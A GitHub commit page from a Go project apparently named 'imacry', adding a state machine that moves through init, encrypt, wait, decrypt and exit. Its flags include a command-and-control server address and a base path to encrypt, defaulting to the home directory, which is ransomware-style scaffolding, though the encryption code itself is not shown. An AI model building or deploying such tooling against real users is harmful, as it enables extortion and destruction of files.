Skip to content

Commit

Permalink
Add state machine and state machine logic
Browse files Browse the repository at this point in the history
  • Loading branch information
prairir committed Nov 27, 2021
1 parent 0368995 commit 39531ad
Showing 1 changed file with 41 additions and 4 deletions.
45 changes: 41 additions & 4 deletions cmd/root.go
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
package cmd

import (
"fmt"
"os"

"github.com/apex/log"
Expand All @@ -10,6 +9,7 @@ import (
"github.com/spf13/viper"

"github.com/prairir/imacry/pkg/config"
"github.com/prairir/imacry/pkg/state"
)

// rootCmd represents the base command when called without any subcommands
Expand All @@ -36,7 +36,7 @@ func init() {
pflags.StringP("cc-address", "a", "", "command and control server address")
viper.BindPFlag("cc-address", pflags.Lookup("cc-address"))

pflags.StringP("password", "p", "", "encryption/decryption password.")
pflags.StringP("password", "p", "", "encryption/decryption password. Length must be at least 16 + 8n where n is some number over 0")
viper.BindPFlag("password", pflags.Lookup("password"))

pflags.StringP("base", "b", "", "base path to start encrypting")
Expand All @@ -53,13 +53,50 @@ func initConfig() {
viper.Set("base", home)
}

if viper.GetString("password") != "" && len(viper.GetString("password"))-16 < 1 {
log.Fatalf("Password is length: %d .It requires length 16 + 8n where n is over 0", len(config.Config.Password))
}

err := config.UnmarshalConfig()
if err != nil {
log.Fatalf("Couldnt unmarshal config: %s", err)
}
}

func RunImacry(cmd *cobra.Command, args []string) {
fmt.Println("hello")
fmt.Printf("config: %#v\n", config.Config)

// state machine loop
for {
switch config.Config.State {
case config.InitState:
log.Info("Initializing")
err := state.Init(config.EncryptState)
if err != nil {
log.Fatalf("Fatal error: %s", err)
}
case config.EncryptState:
log.Infof("Encrypting, starting at %s", config.Config.Base)
err := state.Encrypt(config.WaitState)
if err != nil {
log.Fatalf("Fatal error: %s", err)
}
case config.WaitState:
log.Info("Waiting")
err := state.Wait(config.DecryptState)
if err != nil {
log.Fatalf("Fatal error: %s", err)
}
case config.DecryptState:
log.Infof("Decrypting, starting at %s", config.Config.Base)
err := state.Decrypt(config.ExitState)
if err != nil {
log.Fatalf("Fatal error: %s", err)
}
case config.ExitState:
log.Info("Finished, have a good day :)")
return
default:
log.Fatal("Machine in invalid state")
}
}
}

0 comments on commit 39531ad

Please sign in to comment.